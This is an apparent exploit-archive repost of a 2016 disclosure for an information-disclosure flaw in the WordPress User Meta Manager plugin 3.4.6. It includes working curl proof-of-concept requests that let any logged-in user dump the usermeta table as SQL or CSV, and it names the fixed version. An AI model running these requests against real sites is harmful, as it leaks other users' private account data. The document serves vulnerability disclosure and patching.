Exploit the possiblities

WordPress User Meta Manager 3.4.6 Information Disclosure

WordPress User Meta Manager 3.4.6 Information Disclosure
Posted Feb 9, 2016
Authored by panVagenas

WordPress User Meta Manager plugin version 3.4.6 suffers from an information disclosure vulnerability.

tags | exploit, info disclosure
MD5 | fdaf634227d4f7bbe2d9c4f459ae0fc6

WordPress User Meta Manager 3.4.6 Information Disclosure

Change Mirror Download
* Exploit Title: WordPress User Meta Manager Plugin [Information Disclosure]
* Discovery Date: 2015-12-28
* Public Disclosure Date: 2016-02-01
* Exploit Author: Panagiotis Vagenas
* Contact: https://twitter.com/panVagenas
* Vendor Homepage: http://jasonlau.biz/home/
* Software Link: https://wordpress.org/plugins/user-meta-manager/
* Version: 3.4.6
* Tested on: WordPress 4.4
* Category: webapps

## Description

User Meta Manager for WordPress plugin up to v3.4.6 suffers from a
information disclosure vulnerability. Any registered user can perform an
a series of AJAX requests, in order to get all contents of `usermeta` DB
table.

`usermeta` table holds additional information for all registered users.
User Meta Manager plugin offers a `usermeta` table backup functionality.
During the backup process the plugin takes no action in protecting the
leakage of the table contents to unauthorized (non-admin) users.

## PoC

### Get as MySQL query

First a backup table must be created


```sh
curl -c ${USER_COOKIES} \
"http://${VULN_SITE}/wp-admin/admin-ajax.php\
?action=umm_switch_action&umm_sub_action=umm_backup"
```


Then we get the table with another request

```sh
curl -c ${USER_COOKIES} \
"http://${VULN_SITE}/wp-admin/admin-ajax.php\
?action=umm_switch_action&umm_sub_action=umm_backup&mode=sql"
```

### Get as CSV file

```sh
curl -c ${USER_COOKIES} \
"http://${VULN_SITE}/wp-admin/admin-ajax.php\
?action=umm_switch_action&umm_sub_action=umm_get_csv"
```

## Solution

Upgrade to version 3.4.8

--
Panagiotis Vagenas
Web Developer / Security Enthusiast
6972883849 / 2105765611
[Twitter](http://twitter.com/panVagenas)
[LinkedIn](http://gr.linkedin.com/in/panvagenas)
[GitHub](http://github.com/panvagenas)

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